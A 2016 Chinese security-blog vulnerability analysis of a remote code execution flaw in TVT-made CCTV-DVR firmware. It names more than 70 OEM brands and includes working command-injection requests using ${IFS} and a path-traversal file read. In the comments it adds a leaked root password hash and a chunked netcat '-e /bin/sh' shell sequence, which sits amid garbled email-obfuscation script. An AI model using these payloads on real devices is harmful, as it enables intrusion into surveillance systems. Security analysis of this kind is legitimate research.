某远程代码执行漏洞影响超过70个不同的CCTV-DVR供应商的漏洞分析

mickey 2016-03-25 10:44:00

0x00 起因


有个老外读了POINT OF SALE MALWARE: THE FULL STORY OF THE BACKOFF TROJAN OPERATION这篇paper后,对paper里面的数字窃贼先通过入侵CCTV系统识别目标所属的零售商,然后进一步入侵POS机,窃取信用卡帐号比较感兴趣,就去网上找了找了找该CCTV-DVR固件,然后通过分析发现了一个远程代码执行漏洞。然后我看他放出来POC,其实还利用了另一个该固件比较老的漏洞。下面一一说。

0x01 漏洞分析


通过shodan搜索“Cross Web Server"可以发现大概有18817个设备,其中美国占多数,然后是中国,泰国。这些设备监听81/82端口的居多,另外也有些监听8000端口,

图0

打开web后的页面如下:

图1

然后通过查看网页源码找到WebClient.html,在查看WebClient.html源码找到script/live.js,live.js里包含了logo/logo.png

图2

由这个logo知道这是一家销售CCTV系统的以色列公司,但是通过查看网站源码中的注释,发现是中国人写的代码,然后作者去官网下载了固件。固件下载回来是一个zip压缩包,解压后可以看到

图3

首先查看boot.sh,发现其中执行了另一个bash脚本deps2.sh,这个脚本执行了2个bin文件,分别是XVDRStart.hisi和td3520a,通过他们的文件体积,原文作者首先看了td3520a,td3520a包含了符号表,使分析变得很容易,通过预览了一阵代码,原文作者发现下面有问题的汇编代码

图4

通过代码可以看出如果/language/[language]/index.html中的[language]目录存在,则解压到[language],如果不存在,则DVRSsystem最终会执行"tar -zxf /mnt/mtd/WebSites/language.tar.gz %s/* -C /nfsdir/language/",这就导致了命令执行。看到这里想到原来玩CTF遇到/etc/crontab文件中管理员用tar做定期备份的时候,语句写成了tar cfz /home/rene/backup/backup.tar.gz *,引发的问题,原理可以参考http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

要想利用还需要克服几个问题

  1. web服务器不能处理使用空格或换行的URL编码
  2. 命令长度有限制

可以通过${IFS}克服空格的限制

通过请求

GET /language/Swedish${IFS}&&echo${IFS}$USER>test&&tar${IFS}/string.js HTTP/1.1

来执行查看当前用户的命令,这个HTTP请求会返回404

要看执行结果,需要利用一个比较老的漏洞递归漏洞来查看结果

GET /../../../../mnt/mtd/test

图5

其实如果不用命令执行漏洞来利用的话,也可以通过递归漏洞读取配置文件(/etc/passwd,/config/config.dat等)

图6

POC地址如下:
https://github.com/k1p0d/h264_dvr_rce

这个产品的真正的制造商是深圳的同为数码(http://www.tvt.net.cn/),其他厂商估计是带贴标签的,也就是俗称的OEM(又叫定牌生产和贴牌生产,最早流行于欧美等发达国家,它是国际大公司寻找各自比较优势的一种游戏规则,能降低生产成本,提高品牌附加值)

受影响的厂商列表:

  • Ademco
  • ATS Alarmes technolgy and ststems
  • Area1Protection
  • Avio
  • Black Hawk Security
  • Capture
  • China security systems
  • Cocktail Service
  • Cpsecured
  • CP PLUS
  • Digital Eye'z no website
  • Diote Service & Consulting
  • DVR Kapta
  • ELVOX
  • ET Vision
  • Extra Eye 4 U
  • eyemotion
  • EDS
  • Fujitron
  • Full HD 1080p
  • Gazer
  • Goldeye
  • Goldmaster
  • Grizzly
  • HD IViewer
  • Hi-View
  • Ipcom
  • IPOX
  • IR
  • ISC Illinois Security Cameras, Inc.
  • JFL Alarmes
  • Lince
  • LOT
  • Lux
  • Lynx Security
  • Magtec
  • Meriva Security
  • Multistar
  • Navaio
  • NoVus
  • Optivision
  • PARA Vision
  • Provision-ISR
  • Q-See
  • Questek
  • Retail Solution Inc
  • RIT Huston .com
  • ROD Security cameras
  • Satvision
  • Sav Technology
  • Skilleye
  • Smarteye
  • Superior Electrial Systems
  • TechShell
  • TechSon
  • Technomate
  • TecVoz
  • TeleEye
  • Tomura
  • truVue
  • TVT
  • Umbrella
  • United Video Security System, Inc
  • Universal IT Solutions
  • US IT Express
  • U-Spy Store
  • Ventetian
  • V-Gurad Security
  • Vid8
  • Vtek
  • Vision Line
  • Visar
  • Vodotech.com
  • Vook
  • Watchman
  • Xrplus
  • Yansi
  • Zetec
  • ZoomX

0x02 参考文章


评论

1

1c3z 2016-03-25 18:50:46

这款CCTV-DVR的认证文件在哪呢?和/etc/passwd无关

路人甲 2016-03-25 18:54:07

root:hldf85ln3UUCA:0:0::/root:/bin/sh
有人破解了吗?

jye33 2016-03-25 21:27:09

@路人甲 我觉得这个是默认密码

A

ADFSEC 2016-03-28 11:06:42

一个有限制的命令注入,需要任意文件读取漏洞来判断有没有执行;命令执行有长度限制,那如何利用呢?作者没讲清楚诶

I

insight-labs 2016-03-28 11:37:57

@ADFSEC
命令执行有长度限制时,可以分开写
[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */:~# echo nc 127.0.0.1 1234 >e
[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */:~# echo "-e /bin/sh" >>e
[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */:~# $(cat e)
作者都放出POC了。。。。

mickey

此号多人用,发表任何信息不代表本人观点

twitter weibo github wechat

随机分类

XSS 文章:34 篇
逻辑漏洞 文章:15 篇
Exploit 文章:40 篇
memcache安全 文章:1 篇
逆向安全 文章:70 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录